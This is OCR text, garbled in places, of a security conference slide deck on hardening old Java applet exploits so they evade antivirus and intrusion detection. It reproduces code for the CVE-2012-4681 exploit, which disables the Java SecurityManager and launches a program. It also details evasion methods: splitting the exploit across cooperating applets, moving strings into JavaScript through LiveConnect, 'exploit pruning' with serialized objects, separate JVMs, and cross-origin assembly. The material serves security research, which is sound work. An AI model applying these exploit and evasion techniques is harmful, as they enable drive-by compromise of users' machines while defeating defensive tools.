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(This Thaikix

A At the end of this talk you will know about;

I Newtechniguesto harden Java exploit to bypass detection
I Limitationsof current defensive solutions
I Tofearthe Enterprise world as a Java user

A Overview: Final consideration

Hardening Hardening Tricks

Sharing / Serialization multi-JvM / Xorigin / Emu 922 UPdate

Introduction



Why Java?

3 Billion Devices Run Java

ORACLE’

From http://www.java.conmen/about/:

A 9 Million Java Developers Worldwide
A #1 Choice for Developers
A #1 Development Platform

A 5 of the Top 5 Original Equipment Manufacturers Ship Java ME
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Block SeHlSigned and Unsigned appletsy High SecuritySetting

Java 7 Update 51 (7Tu51)

Security Feature Enhancements
o Changes to Security Slider
Block Self-Signed and Unsigned applets on High Security Setting

+« Require Permissions Aftribute for High Security Setting
« Warn users of missing Permissions Attributes for Medium Security Setting

o Restore Security Prompts - Clear Remembered Trust Decisions
In Java 7us1, users are given an option to restore the security prompts for any prompts that
were hidden prior to installing the latest release. Itis recommended that users restare
security prompts every 20 days to ensure better protection.
A trust decision ocours when the user has selected the Do not show this again option in a
security prompt. To show the prampts that were previously hidden, click Restore Security
Prompts. When asked to confirm the selection, click Restore All. The next time an
application is started, the security prompt for that application is shown. See Restore Security
Prompts under the Security section of the Java Contral Panel.

o Exceplion Site List
The Exception Site List feature allows end users to run Java applets and Java Web Start
applications (also known as Rich Internet Applications) that do not meet the latest security
requirements. Rich Internet Applications that are hosted on a site in the exception site list
are allowed to run with the applicable security prompts. See the Exception Site List FAQ for
mare information.

Exception Site List
The Exception Site List feature allows end users to run Java applela\an@veb Start applications
(alsoknown as Rich Internet Applications) that ot meetthe latestsecurity requirements

* https://lwww.java.com/en/download/fag/release_changes.xml
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A Java (as JRE) is obviougiting better \ s

A Java usersire still not ready for a safer JRE..
I Not updating
I Downgrading

I Changing security settings



True Stories..




(Entenprise- 1)

Java Update 7.51 Security (Java Control Panel) (-cifcy=zdmin)

submitted 1 month ago® by

Hi! With the recent Java-Update there was a security enhancement. Websites without a valid certificate are blocked

by Default. In the lava Control Panel you have to manually Switch from "High" to "Medium" Security.

Is there any Registry-Key which I can distribute via GPO? I dont want to set this manually on all our 400 Users ...
Sorry for my‘bad english!

22 comments sRare save hide give gold report

-°

rsadmin| 2 points 1 month ago \
¥, ran these commands with our RMM, s‘
ecurity.level=MEDITM >> ..%USElﬂ%‘\Lu:u:'.achw\Sun\Java\Deplcymem ; 3/
itv. ““s rofiles’\Application Data\Sun‘\Java'Deploymenthdeployment.p)

[-] -
Just did this to
Windows 7

gecho deployment.
Windows XP

echo deployment.se
Can also add site to e

echo https://blah.com §> rprofile$hApplatai\Locallow' Sun\JavahDeploymenth securityhexception.sites™

permalink sawve report giveYold reply

With the recent JavdJpdate there was a security enhancemer.
Websites without a valid certificate are blocked by Default. In thd
WE @l [ 2yaGNREt tIySt e2dz KIgS G2 Yl ydz e
Is there any registry key which | can distribute via GPO?
L R2Yy QU ¢Fyad G2 &asSi GKA& YI ydz t&f &



(Entenprise- 2)

-] = Sysadmin| 2 points 1 month ago
Just did this today, ran these commands with our RMM.
Windows 7

echo deployment.security.lewvel=MEDIUM >> "fuserprofiles’\AppData’\Locallow' SunhJava'\Deployment\deployment.proper
Windows XP

echo deployment.security.lewvel=MEDIUM >> "fuserprofile$’\Application Data‘\Sun‘\Java\Deployment\deployment.proper

Can also add s’ Ty

enurity levels in the Java Control Panel

echo https: ,'-"’-{"“

permalink saw

-nost restrictive security level setting. All the applications that are signed with a valid
randinclude the Permissions attribute in the manifest for the main JAR file are allowed to
security prompts. All other applications are blocked.

High
This is the minimum recommended (and default) security level setting. Applications that are
signed with a valid or expired cerificate and include the Permissions attribute in the manifest for
the main JAR file are allowed to run with security prompts. Applications are also allowed to run with

security prompts when the revocation status of the cerificate cannot be checked. All other
«plications are blocked.

Medium

Cnly unsigned applications that request all permissions are blocked. All other applications are
allowed to run with security prompts. Selecting the Medium security level is not recommended and
will make your computer maore vulnerable should you run a malicious application.

9




B Java SE T U25
B JavaSETU21
B Java SE T U1LT
I JavaSETUS
Java SE & ULT
M Java SE6 U3L
I JavaSE6&UAT
Java SE T U15
W JavaSETUT

W16 02,008 N18_01,0.08%
1503, 0.18%
V1.6.04,0.058 ‘\\/ V10014, SE5%
v2.6_05,0. ;&; v1s,

57.44% I
from Kaspersky [1] e sy Y1600 e

This pie chart was compiled using df@m e |
26.82 million Individual usersf Kaspersky
SecurityNetwork reportingthe useof any

version ofJavaontheir personal computers.

e
Released October 2009 \

e V7 |
we \
V1E 17, 5.80% A
} {
|
y
j

~ 15 millionusers are runNning an e e -

outdated version of the JRE ..

Released October 2010

94.83%
from Websense [2]

Current Java Release

v1.6_39,0.65%

V1.7_30.0.20%
v16_33,12%

Released October 2012
VIE6 37, 128%
o0, 103%
Released April 2012
705 0%

V16 33,000%

Released March 2011
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To recap the Java exploits status, we just need 1 example.

Top 10 exploits, August 2013

0.89%
1,17%

1.96%

oo

[l Exploit. Java.Generic
B Exploit. Java CVE-2012-1723
B Exploit Java CVE-2012-0507
0 Exploit. Java CVE-2013-2423
Exploit. Java.CVE-2013-1493
[l Exploit. Java.CVE-2013-1493.a
B Exploit. Java.CVE-2013-0431
Exploit. Java.CVE-2012-4681
M Exploit_lava CVE-2013-2465
I Exploit_lava CVE-2013-0422
Others

In August 2013, the most exploited vulnerability according to Kaspersky [1] IS
CVE20121723 Which was at that timenore than 1 year old
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Cisco 2014 Annual Security Report alealn Cisco 2014 Annual Security Report 1 D

CISCO. Cisco.

how malware enters their network environment and where they should focus their efforts to

' \ For threats such as Java exploits, the most significant issues facing security practitioners are

p minimize: infection. Individual actions may not appear malicious, but following a chain of events
J ava Lea d S th e pa C |< can shed light on the mabware story. Chaining of events is the ability to conduct a retrospective

analysis on data that connects the path taken by malicious actors to bypass perimeter security

Of all the web-based threats that undermine security, and infitrate the network.
vulnerabilities in the Java programming language continue to By themselves, 1oCs may demonstrate that going to a given website is safe. In turn, the
be the most frequently exploited target by online criminals, launch of Java may be a safe action, as may be the launch of an executable file. However, an
accord]ng to Cisco data. organization is at risk if a user visits a website with an iframe injection, which then launches
Java; Java then downloads an executable file, and that file runs malicious actions.
Java exploits far outstrip those detected in Flash or Adobe PDF documents, which are also
\ESU ar vectors for criminal activity (Figure 11). /
_ _ _ FIGURE 12 dE @O
Data from Sourcefire, now part of Cisco, also shows that Java exploits make up the vast Indicators of Compromise, by Type
maijority (91 percent) of indicators of compromise (loCs) that are monitored by Sourcefire's Source: Sourcefire (FireAMP solution)
FireAMP solution for advanced malware analysis and protection (Figure 12). FireAMP
detects live compromises on endpoints, and then records the type of software that 2%
caused each compromise. Microsoft Word
3% 1%
Microsoft Excel Microsoft PowerPolnt
FIGURE 11 BE @ 3% /

Malicious Attacks Generated through PDF, Flash, and Java 2013
Source: Cisco Cloud Web Security repons

Adobe Reader
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(IREAW )

A JRE world is a mess..

1) People still usingld andout-dated
versionsof the JRE

2) Exploitsfor old JRE vulnerabilities
are still usedheavily by attackers

NOTESurveys from different Vendors reflect only par~t‘.
of all Java users, as they have feedback from their Customers only:



(What albout avaussery”?
A{2YSiAYySa (KSé& R2y Qi S@OSy 1vy2é |0
A¢tKSe R2y Qi 1SSLI 6KS WwWw9 dzLJ G2 RI
A They are forced to use an old release of the JRE

A Their systems are affected by old JRE issues

4 B
A They need some defensive solution
I Antivirus / IDS / IPS

14



(Our GeA)

A Assess the statusf the current defensive solutions

A Try tobypass detectiorof these defenses on exploits
for old vulnerabilities..

15



(Defendary

A We randomly selected a number of different defensive solutions,
including but not limited to:

I AVG

i Microsoft Defender
I FSecure

I Symantec

i X




(Attackers

A An old vulnerability ©VE2012-4681) and an old exploit to harden (original
exploit [4] by @ducK)

Class sun_awt_5SunToolkit = FindClass(

Expression expr = new Expression{sun_awt_5SunToolkit, , new Object[] { Statement.
expr.execute();
Field acc_Field = ({Field) expr.getValue(});

Permissions allPerms = new Permissions(};
allPerms.add{new AlLlPermission{)):
AccessControlContext allPermAcc = new AccessControlContext{new ProtectionDemain[] {
1ew ProtectionDomain(new CodeSource(new URL({ Y. new Certificate[0]), allPerms}}):

5tatement disableSecurityManager = new S5tatement(java.lang.5ystem. . , new Object[1]):
acc_Field.set(disable5ecurityManager, allPermAcc);

disableSecurityManager.execute();

A Via Applet
I Embedded on a web page
I Executed within a JVM



(Applet Seouit(y

Thesecurity managers a class that allows applicationsitoplement| S
asecuritypolicye LU Fff26a |y | LILI Ateel |0 X8
operation isand whether it is being attemptenh a securitycontext '
that allows the operation to be performed.

(N

Sandbox applets cannot perform the following operations:

* They cannot access client resources such as the local filesystem, executable files, system clipboard. and printers.
* They cannot connect to or retrieve resources from any third party server (any server other than the server it originated from).
* They cannot load native libraries.
——al They cannot change the SecurityManager.
* Thev cannot create a ClassLoader.
* They cannot read certain system properties. See System Properties for a list of forbidden system properties.

Privileged applets

Privileged applets do not have the security restrictions that are imposed on sandbox applets and can run outside the securitv sandbox.

18



A Something like:
I Get access tgun.awt.SunToolkit
A Supposed to be a restricted package
I Call methods indirectly trick the JVM Verifier \
I Get access to a private field of Statement .
A ViaSunToolkit.GetFief}l
I Define a new access control context
A All Permissions
I Create a Statement to disable the Security Manager
I Use Field to change the permission of the Statement

19



(Detection Ratd

A For thebasic versior(the one available on the internetf the exploit

bl total

SHA256 e7192e35e827d8d13f9alaelc2c530f5f74d67d76d7bdbc0ada3700d9c39056f b

File name Gondw .class

=
[ Detection ratio 32751 ] ‘r O O

Analysis date 2014-03-31 14:57:13 UTC ( 0 minutes ago )

Viicrosott m Kaspersky ecure ymantec

Exploit:Java JavaExploit. HEUR:Exploi Exploit:Java Trojan.Maljav

CVE2012 BBJ Java.CVE CVE2012 algen24
4681.AIN 2012 4681.F
4681.gen

20



A Problem

(JavaByyéecddr

iU @a verbose- Too much information is disclosed to defenders
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2xxxx/Geoendvv java/applet/Appletll

|java/lang/9m:(Ljava/lan
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curity/Permission; )V ‘L{Ljava/lan 21
gl/is|tixiiinigi;|) |V 2 (Ljava/net /URL; [L3ja
via/security/cerxrit/Cerxrtifiicate;|)V
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Hardeningbase

A There are a number of different basic techniques to harden Java exploits,
Including:
I Obfuscation
A Flooding based
A De-numberation
I Reflection
A Proxy call

A These techniques aim t@ducethe amount of information available from
the bytecode

A28ttt |y26y (SOKyAljdSas 68 62y Qi
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Sharing



Shafindidea)

A KEYPOINT:
I Appletson the same pagehare the same Java Virtual Machine

A 1DEA:
I Usingmultiple Appletsto exploit a vulnerability

I Applets willcooperate to update the statusf the shared JVM
I We are writing adistributed version of an exploit

i Thea Y I £ A OA 2idzio€given by alsidgie Applet but is given as
the result of the execution of a set of different Applets

26



Sharmndexplolt split)

A An important stepof the Sharing approach consistssinlitting the original
exploit Applet into multiple Applets

27




Sharindgexploit steps)

A An exploit is sequence of steps
A We are writing a distributed version of the exploit!

A By splitting the exploit across different Applets need to be sure that
the steps will be executed in the right order

0 Step 1

Applet  Step 2

28



Shatingrecay)
-
1 A Applets:

Applet_1.class I In this approach an attacker will use

multiple Applets

I Possible to evemix legit and
Applet_2.class malicious code

@

A IVM:

I Thestatus is updated by all of the
Appletshosted on the page

Applet_N.cIassW A Detection:

T Detectors now have tanderstand
> the communication patternto

RSUSNNXYAYS (KS, ;W=




Simple Sharing



Timers@xample)

£
CODE="Uno.class" CODE="Due.class"
WIDTH="188" WIDTH=""18&a"
HEIGHT="118" HEIGHT="118"
> >
Error! Error!
= i 2 - -}
void disableSecurity() Throwable {

Class<?> sun_awt_SunToolkit GetClass(};

Expression expr Expression(
sun_awt_SunToolkit,
String.valueof(String .valueOf | char[1{ 'g','e","t","F',"1",%e","1",'d" }}),
Object[] { Statement.class, String.valuelf( char[]J1'a’','c",'c"}) }
]
expr.execute();
Field acc_Field = ((Field) expr.getValue(}};

Permissions allPerms Permissions();

allPerms.add( ALLPermission());

AccessControlContext allPermAcc AccessControlContext( ProtectionDomain[] {
ProtectionDomatin( CodeSource( URL(String .valueof | char[] {

1)s

Statement disableSecurityManager ement(java. lang.System.class, String.valueOf

acc_Field.set(disableSecurityManager, a

= LA
= rt
=m0
(1]
=1
[l
[
et
-

disableSecurityManager . execute();

void init()

L 1 . .
void init() { Easy way to handle synchronization
i Thread .sleep(5808);
disableSecu Frocess localProcess - nuntime.getRuntime().exec(String.valueOf( char[] {'m','s",'p",'@","i","'n","t"',". ", e, 'x
i (Exception
i T (Exception e)



Timers(ecay)

A PROS:
| Easy way to bypass detectors..

A CONS:

I Not very suitable wititomplex communication patterns

I Timers can baffected by external delayswhich randomly
affects the timing of each step. This might impact on the succ
of the exploit.

32



AppletContext



AppletContex{intro)

AppletContextis an interface, which allows Applets to query their
environment (the web page they are hosted on)

We are mainly interested itwo methods.
I Applet getApplet(String name)
A To get a reference to another Applet on the same web page

I EnumerationgetApplety)
A To find all the Applets on a given web page

There aremultiple ways to use this featurél 2 KIF NRSY WI @I
see an example..



AppletContex{plan)

A Wesplit the original exploitinto several different Appletsj

A We use an additional Applet asCommunication channel

Master.clas

Zero.class

One.class

Two.class

Three.class

BEFORE

AFTER

Channel.class

35



AppletContex{comm. patiern)

A Here we can see one of the possible communication patterns which we
choose to use to harden the original exploit

A Please keep in mind that each of the Applets below will execute 1 or more
steps of the original exploit

I We need somehow to handle step synchronization

m One.class
Two.class

SEp e Zero.class
Step C
/ Three.class

ﬁm i
1
\ Master_c|ass e e e e e ) .




AppletContex{channel.jawg)

L 0 NB LINBstiuStyres & 0 KK
handle the Applet communication

2 S RSTAYS (UKA& «a
blocking way so that even if the
exploit steps are distributed, we can
e o still execute them in the right order
B UMRTUEININ | Receive(jare blockingin our
St implementation

vaid sendClass(Class<?> kloss)

report{“recvClass... done");

The channel exposes a number of
send/recvfunctions that allows other
Applets toshare Java types

void sendField(Field field)

report(“sendField... done");

this . field field;
37
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AppletContex{comm. pattern)

One.class

Zero.class

Two.class

N

/

Three.class 1

]
1
Master.class }------------------------------------_--_-______'




AppletContex{comm. pattern)

One.class

Zero.class

Two.class

N

Three.class 1




AppletContex{initial step)

void GetChannel()

(channel null)

i inie {
[ void init() Enumeration appletlist = getAppletContext().getApplets();

(appletlList.hasMoreElements(}) {

e Applet applet = (Applet)appletlList.nextElement();
GetChannel (}; (applet Channel) {
channel = (Channel)applet;
boolean pwned = false; ;
b
{ }
Thread.sleep(2068); 1
h
Class<?> klass = GetClass();
[::i}:hannel sendClass(klass);
¥ )
{Exception e){} Lbﬁfi_GEEF%?55(J
(Throwable €){} q Sh
(! pwned) Expression l?calExprE551DT Expression(Class.class, String( char[]{'f','0','r',"N","a’,"'m
localExpression.execute();
{ (Class)localExpression.getVWalue();
- }
Thread.sleep (1088} ;
Process localProcess = Auntime.getRuntime().exec( String( char[]{'m","s",'p","a",'1i",'n","t*,". ", "e","x","e" }});

pwned = true;

(Exception e){}

Wait for the remaining Applets to finish their tasks,

then execute the payload




AppletContex{tcomm. patitern)

One.class I

Two.class

Zero.class

Class<?>

Three.class 1

1
—9  Master.class }-----------------------------------------------'

|




AppletContex{comm. patiern)

One.class

Two.class

Zero.class

/ Statement

1
—»  Master.class }-----------------------------------------------'

|




AppletContex{last step)

void GetChannel()

(channel

channel (Channel

:
void init()

setBackground( p#black);

t disableSecurityManager = channel.recvLastStatement();
isableSecurity(disableSecurityManager);

o+

Wait for a previous Applet to send &
Statementobject..

43



AppletContex{comm. pattern)

/

—

Master.class

One.class
Two.class
Zero.class
]
1
1

|




AppletContex{comm. pattern)

One.class
<
Two.class \
Zero.class

Three.class W




AppletContex{execuie!)

One.class

5
Two.class \
Zero.class

Master.class




AppletContex{recay)

A PROS:

I Very effective way to bypass detectors!

I Each Applet can host a few steps of the original exploits
and some legit code

A CONS:
i L {b&&d on Javéonly)

A Which means that all theommunication is handled in Ja e

A AJava emulatorcan help detectors to infer the communication
pattern

47



LiveConnect
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LiveConnedintio)

Java + JavaScript = LiveConnect

LiveConnect ia feature of Web browsershat allowsJava and JavaScript
to interact within a web page

Which means, we catall Java code from J8nd viceversa

To use LiveConnect, our code needs to use:
I netscape.javascript

At Runtime, theJava plugin will do all the magwe need to run our
mixed Java/JS application



LiveConnredpossitilleapproach)

A Removeall thestrings constants etc from the Java code and move these
Information into the JS part.ess info in théytecodemeans hardeto detect.

Statement localStatement Statement(System.class, "setSecurityManager", Object[1]);
Permissions localPermissions Permissions();

localPermissions. add( AllPermission());
ProtectionDomain localProtectionDomain ProtectionDomain/ CodeSourcel( URL “file://f/ "),

SetField(Statement.class, "acc", localStatement, YocalAccessControlContext);

localStatement. execute();

Expression localExpression Expres;sion(GetClass! 'sun.awt.SunToolkit" ), "getField", array0OfObject);
localExpression.execute();

Nz

HTML/JS




LiveConnedhtm!+ |s)

function getGetClassExprOne() { debug A The eXpIO|t Now CO”S'StS Of

output.innerHTML="<b>getGetClassExprOne<b>"; T
“Forniame”; <2 value I Aweb page

I 1+ Applet(s)

"sun.awt.SunToolkit™; <:I

I A number of different JavaScript
e functions defining part of the
output.innerHTML="<b>getDisableSecurityExprone</b>"; Ol’lglna| eXp|OIt

"get=iEld";<:|

A Strings
A Numbers
) tastoetes A Maths
et A Etc..

HEIGHT="38"

51
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LiveConnediava <)

A From the Java Applet(s) we request part of the original exploit from the
hosting web page, by calling several JavaScript functions (via LiveConne

Throwable {

void disableSecurity()

Class<?> sun_awt_SunToolkit = GetClass(};

String expr_one = js_getDisableSecurityExprOne();
String expr_two = js_getDisableSecurityExprTwo();

Expression expr Expression(sun awt SunToolkit, expr one Object Statement.class, expr two :
| P | _awt_ ] pr_ ¥ ] ’ pr_ H

expr.execute(};
Field acc_Field = ({Field) expr.getValue(});

Permissions perms Permissions(};
perms . add( ALLPermission(});

String acc_one = js_getDisableSecurityAccOne();
Accesstontrollontext acc Accesslontrollontext( FrotectionDomain[] {
ProtectionDomain( CadeSource ( URL(acc_one}, Certificate[@]), perms)

1)

String stmt_one = js_getDisableSecurityStmtOne();
Statement disableSecurityManager Statement(java. lang.System.class, stmt_one, Object[1]};
acc_Field.set(disableSecurityManager, acc);

disableSecurityManager.execute();

js_getDisableSecurityAccOf)e )
—— s e e——s-mmmmmm-mmmmm -
Applet AGFAE SYKKE Javascript
D ———EEEE SRR




LiveConnedrecay)

A PROS:

I ByusingLiveConnectwe are actuallghifting the detectionfrom Java only to
{ Java AND JavaScript }, which means that:

A now detectors will have to evaluate the Applets in function of the
JavaScript code order to understand the behaviour of the Applets

i LiveConnectan be used as a strategy to replagé@pletContextto handle
Applets communications

A CONS:

I It requires JS to be enabled on the victim browser

[ SGQa aSS ||y 2 (itKSiNdize jhdé anNBtainkoyAtiomsin tBe
bytecode. 53



Serialization
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Serialization(ntro)

LONG DEFINITIOSerializationis the process of translating data
structures orobject state into a format that can be storedfor example,
In a file or memory buffer, or transmitted across a network connection
link) and reconstructed latein the same or another computer
environment

SHORT DEFINITIC®érialization allows us toanslate the status of an
object into a format that can be stored and resurrected later in the same
or another JVM

Java serialized object => Sequence of bytes £D. .. ..}

By using Serialization an attacker dade a lot of informationto the
detectors,including but not limited topart of the exploit algorithm itself

ED 00 05 73 72 00 09 53 65 72 63 61 6C 5061 Q41 || s|z Sle r|lilall/p|la
79/D9|13 28|21 F3|5E|08|D1|02 | oojoa0|78 70 g\ O| U elela - B84 xp
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1sttime

Seridlizatior{icea)

Klassk = newKlasg); . X ,
1 oK tm ' &1 St f pdpt t 2 wS+dzd ye
190t T &
K.update()

Serialize(k ~  __---="7"
K.print() o

e Serialized object

R4

2"d time (even on ,a/ different JVM..)

U
/4
/]

print() ) 41 St f 2 wS +dzf yé

NOTEThe blued O A Mideks e algorithm used to generate its status! 56



Serializattonpre-creaied «lij@an)

A Snceserialization can be used to recreate objects in memory, we can use
this concept to define an interesting idea..
i IDEA:
build an exploit by reusing prereated(serialized) Javabjects

ﬁ Calculator ;lglil

Edit View Help
| 0

I kal EE| (=
MEl?‘lBlSlx’lqt

| o] 5| ef | %]

MS|1|2|3| |1.-"

| o f | ] -] -

Z NO CA FE
BUT AC ED
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Serializationigh-level)

An object can be serialized or deserialized via:
I public final voidvriteObject(Object x) throwdOException
I public final ObjecteadObject) throwslOExceptionClassNotFoundEx

The deserialization algorithm is interesting,iiasiight disclose informatiothat
will be then used by detectors to block possible exploits

iwS OFff GKAA GAY WRadMrikia A 2 RA&aOf 2a

NOTE To perform a deserializatiaine JVM needs to know the Clg#gpe) of the

serialized object
- ClassNotFoundException

Definition forObjNOT found
JVM

ClasdDhb) cq
Definition forObjfound

—

Serialized
Obj




(BadktotieiginabVersion)

Gondwy Applet

Gondwv ()

void disableSecurity()

Throwable

5t nt localStatement t Object[1]);
Permissions localPermissions TiS'
localPermissions . add( ALLPermission()});
ProtectionDomain localProtectionDomain ProtectionDomain( CodeSource ( URL{"file:///"), Certificate[@]), localPermissions};
AccessControlContext localAccessControlContext AccessControlContext | ProtectionDomain[] {
localProtectionDomain
1)s
SetField(Statement.class, "acc", localStatement, localAccessControlContext);
localStatement.execute();
h
Class GetClass(5tring paramString)
Throwable
1
Object array0OfObject[] Object[1];
arrayﬂfﬁhject[ ] paramstring;
Expression localExpression Expression(Class.class, "forName", array0fObject);

localExpression.execute()};
(Class)localExpression.getValue();

void SetField(Class paramClass, String paramString, Ob
Throwable

ject paramObjectl, Object paramObject2)

Object array0OfObject[] Object[2];

arrayﬂfﬁhject[ ] paramClass;

array0fobject[1] paramstring;

Expression localExpression Expression(GetClass("sun.awt.S5unToolkit"), “getField", arrayOfObject);
localExpression.execute();

((Field)localExpression.getValue()}).set({paramObjectl, paramObject2);

A ARaEN



Serializationgerialized version)

Some numbers:
A Original version #oC =~ 74
A Serialized versionl#C=~ 3 l

Rule of Thumb:
A Less code>More difficult to detect
(for a number of reasons, including but not limited ka&lse Positives

4+

tedrrayInputStream| serialPay ) ).readObject();

i _ , y
ObjectInputsStream| By
J | L ]

: localProcess = Runtime.getRuntime().exec("mspaint.exe™);
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Serialization{ietalls)

5
Disable Security Managet€ GET SerialPay.class HTTP/1.1

len class name/

By [ a
Serialized object

tstream( serialPay ) ) .readObject(};

rocess localProcess = Runtime.getRuntime().exec(“mspaint.exe™);




(GET/ SerialPay.cladsTTP/1.)

If we serialize a nostandard JRE class, detectors will be able to obtain the
class definition by following the same way the JVM did

ED 00|05 |73 /72|00 09 53 &5 72|e93 el «C 50 &1 i |s|1: SelriallPla
7% D% 13 25 21|F3|5E 08 D1 02 00 00 78 70 wolg s~ 0 xp
In our example a detector would just analyze the first byte of a serialized

stream, to get the length and the name of the serialized class and
download it to detect our exploit:

I wget http:// remote_host/SerialPay.class

The classserialPayis aWeak Link

[ SG Q& (O NBtratdgy to RIAAVE teSe wkak linkand obtain a
serialized version of a given exploit

I WelcomeExploit Pruningalgorithm
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Exploit Rrunimgdefinition)

It produces a mutatiotM(E)of an input exploitg, reducing the bytecode
iInformation, without introducing weak links.

1.

2.

Select a Serializable and Standard Cl&ss E

Collect all the code that updates the status of an obfe¢type O
Check for dependencigs

Prune this codeR)

Use the pruned codPto produce a serialized obje& which represents
the updated status of the obje in the exploit context

Replace P in E, with an assignment lBezdeserializ¢S)

Repeat steps from 1 to/



Siep 1 € Picka Clags

ITDcalStatement

localPermissio

e ey
Lo} )s

localProtectionDomain Pr £ | | IRL("File:z/// ( cate[@]), localPermissions);
't localAccessControlContext [ L

", localStatement, localAccessControlContext);

PermissiondocalPermissions: newPermissions();
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Step 2e Check class-definition

me ITDcalStatement

cions localPermissions

cate[@]), localPermissions);

Overview Package E Use Tree Deprecated Index Help

Prev Class Mext Class Frames Mo Frames All Classes
Summary: Mested | Field | Constr | Method Detail: Field | Constr | Method

java.security

Class Permissions & _
We are!lookingdfor a
java.lang.Object

java.security.PermissionCollection %ﬁtﬂhﬂﬂb@ﬁd Sﬁaﬁtﬂiﬂﬁﬂ

java.security. Permissions .
Clas€in E
All Implemented Interfaces: ‘ ‘

Serializable 65




(Siep Be Collect all the code that
updates the status of an obje€l)

acalProtectionDomain

ProtectionlDomain ( P
xt localAccessControlContext Ac ControlContext

ment.class, "acc", localStatement, localAccessControlContext);

r N

PermissiondocalPermissions: newPermissions();

localPermissions.adghew AllPermissior());
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(Siep 4e Usethe pruned codd’to
produce a serialized obje&§

"setSecurityManager”, Object[1]);

EXegpegno 05 73 T2 00 19 6A &1 76 61 ZE 73 &5 &3
75 72 69 74 79 ZE 50 65 72 &D &9 73 73 69 &F &E
73 43 6D 4B 4D D2 C& OQF 50 03 00 02 4C 00 0D &1

localProtectionDomain ‘rotect | rce( URL (i ) Certificate[@]), localPermissions);
ext localAccessControlContext
octectionDomain
1_"|.
Iiz
SetField({Statement.class, "acc", localStatement, localAccessControlContext);
localStatement. execute();

00 053 73 72 00 19 64 61 76 61 Z2E 73 &3 63
75 72 69 74 79 Z2E 50 &5 T2 6D &9 73 73 69 &F &E

73 43 &D 4B 4D D2 C& OF 50 03 00 02 4C 00 4D el 67
pC 6C 50 a5 72 60 649 73 73 69 pF fF 74 00 24 A0




Siep He Replace P In E, with an
assignment likeO =deserializ€S)

Replace Rrin E

ctInputs ; 5 s })).read0Object();

00 05 73 72 00 19 6L €1 7é& 61 2E 73 &5 &3
73 72 69 74 79 ZE 50 65 Y2 €D &9 73 73 69 &F GE
73 43 6D 4B 4D D2 C& OF 50 03 00 02 4C 00 0D &l
gL egC o0 eo 72 gh g9 73 73 £49 pF _pE 74 00 24 40




Sitep e Reduced EXploit

t localstatement

15 localPermiss
ions.add(

LT rrieras a LTS L : ' ™) Certificate[@]), localPermissions);

1t localStatement
- localPermissions = getPermissions();

n localProtectionDomain Prot
«t localAccessControlContext

", localStatement, localAccessControlContext);




(Siep 76 Repeal

Statement localStatement
Permissions localPermissions = getPermissions();

1 localProtectionDomain

text localAccessControlContext
tionDomain

S R
T Ment

it.class, “acc", localStatement, localAccessControlContext);

Useithecurrent reduced exploit-as input of the:next pruningpass
Repeat Step-¥

You can keep pruning as long as the prerequisite is satisfied:
Thereiis-at deast Standartiand SefializableclassiincE notyet prnuned
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Exploit IRrunimgrecag)

Serialization helps teeduce the amount of informatioravailable from
the Java bytecode to the defenders

Using serialization in exploits forces defenders to implement and use som
sort of parsersto be able to read serialized data into their engines

By performing exploit pruning an attackean reduce the clasdisclosure
during the deserialization process to a minimum

Serialized data can be obfuscatd€ds we are dealing with an array of
bytes). Obfuscation can be performed either in the Java code or outside
l.e. JavaScript, HTML tags, media stiff,]

NOTEThe exploit pruning procegsn be easily automated
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Multiple JVMGEepataie i)

A Applets can run in different JVMs
I Even if they are on the same document

A To spawn a different JVM, we use theparate jvmparam

code=".." width="188" height="188">

name="separate_jwvm" value="true">

Applet1 = JVM 1

test.htm

code=".." width="188" height="188">

name="separate_jwm" value="true">»

Applet 2 = J\VM 2




Multiple JVIM communmicatm)

A JVMs are independent and separate

A We need a way to handle thé¢JVM communication
I A possible way is to rely on some JavaScript on the hosting page

code=".." width="180" height="108">
name="separate_jwm" value="true"»

Applet 1 = JVM 1€

— ] . . ’ v
function communication() {
A
v

Applet 2 =3 JVM 2|

code=".." width="188" height="188">

i
name="separate_jwm" value="true"> S~———
" fl
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Multiple JVM(impact)

A By deploying an exploit in a way that will use 2 or more JVMs to trigger the
vulnerability, we are breaking most or all of the possible defensive
strategies based on JVM inspection..

code=".." width="188" height="106">
name="separate_jwm" wvalue="true">

—>  Applet 1

function communication() {

code=".." width="188" height="188">

name="separate_jwm" value="true"> Applet 2

evil.htm

code=".." width="188" height="106">

name="separate_jwm" value="true">

Applet 3

function communication() {

code=".." width="18@" height="108"> Applet 4

name="separate_jwm" value="true">




X-Origin



X-Origin(intro)

A Sandbox Applets have a number of limitations (for security reasons)

Sandbox Applets
Sandbox applets are restricted to the security sandbox and can perform the following operations:

¢ They can make network connections to the host they came from.
¢ They can easily display HTML documents using the showDocument method of the Java.applec.2pplecContext class.
* Thev can invoke public methods of other applets on the same page.
e Applets that are loaded from the local file svstem (from a directorv in the user's CLASSPATH) have none of the restrictions that apg
e Thev can read secure system properties. See Svstem Properties for a list of secure system properties.
e When launched by using JNLP, sandbox applets can also perform the following operations:
© They can open, read. and save files on the client.
© They can access the shared system-wide clipboard.
© They can access printing functions.
o They can store data on the client, decide how applets should be downloaded and cached, and much more. See JNLP API

Sandbox applets cannot perform the following operations:

They cannot connect to or retrieve resources from any third party server (any server other than the server it originated from).

¢ They cannot change the SecurityManager.
¢ They cannot create a ClassLoader.
¢ They cannot read certain systemn properties. See Svstem Properties for a list of forbidden system properties.

They cannot connect to or retrieve resources from any third party
server (any server other than theerverit originated from).
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X-Origin(icea)

A The idea here is to use some JavaScript to break out of this limitation, so
that we will be able to harden Java exploits by retrieving
Information/exploit-parts residing on different domains

A There are some caveats to keep in mind while working with this approach
i WeOl y Q (thefdémai@Swhere the Applets are hosted

I Butwe can share information/resources across different remote
domains hosting differentApplets

ATSiQa aSS | LINYOGAOILE SEI YL Soo



X-Origin(scheims)

Javascripand
HTML

Applet Local s

Points to

Applet Remote| "

http://domain -L/al.htm

Applet Remote

Remote

Resource

http://domain -R/ar.htm
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X-Origin(code)

Local Applet

width=" type="text/javascript >

height="88" ) . .
e function getRemoteData() {

name="separate_jwvm" wvalue="true">

output.innerHTML;
No Applet for you

r

tion setRemoteData(data) {

code="R.class"

ittp://DOMAIN R_HOST:DOMAIN_R_PORT" output.innerHTML=data;

data;

name="separate_jwvm" wvalue="true">

No Applet for you

Quick way to implement
HTML/JS based communication

Remote Appletptr*
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X-Origin(recay)

DomainL
I Contains the main exploit Applet
I Contains a pointer to an Applet residing on a different remote domain

DomainR

I Hosts the Applet, which will provide local (to R) exppatts to the
other Applet (on L)

By doing so we will be able to dedomain Applet communication

Which means thatnowy 0 Q&4 L2 &aaAoftS 42 KI NRSY
exploit parts from different remote domainsand then combine all these
